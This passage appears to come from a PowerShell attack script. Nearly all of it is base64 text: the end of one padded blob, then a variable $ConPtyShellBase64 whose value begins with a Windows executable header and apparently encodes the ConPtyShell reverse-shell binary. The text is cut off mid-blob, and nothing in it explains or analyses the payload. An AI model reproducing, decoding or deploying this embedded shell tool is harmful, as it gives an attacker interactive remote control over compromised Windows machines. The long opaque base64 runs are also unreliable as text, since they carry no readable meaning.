AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" + $ConPtyShellBase64 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAJpaPmAAAAAAAAAAAOAAAgELAQgAAHAAAAAgAAAAAAAA/n8AAAAgAAAAoAAAAABAAAAgAAAAEAAABAAAAAAAAAAEAAAAAAAAAADgAAAAEAAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAALB/AABLAAAAAKAAAMgCAAAAAAAAAAAAAAAAAAAAAAAAAMAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAABGAAAAAgAAAAcAAAABAAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAMgCAAAAoAAAABAAAACAAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAMAAAAAQAAAAkAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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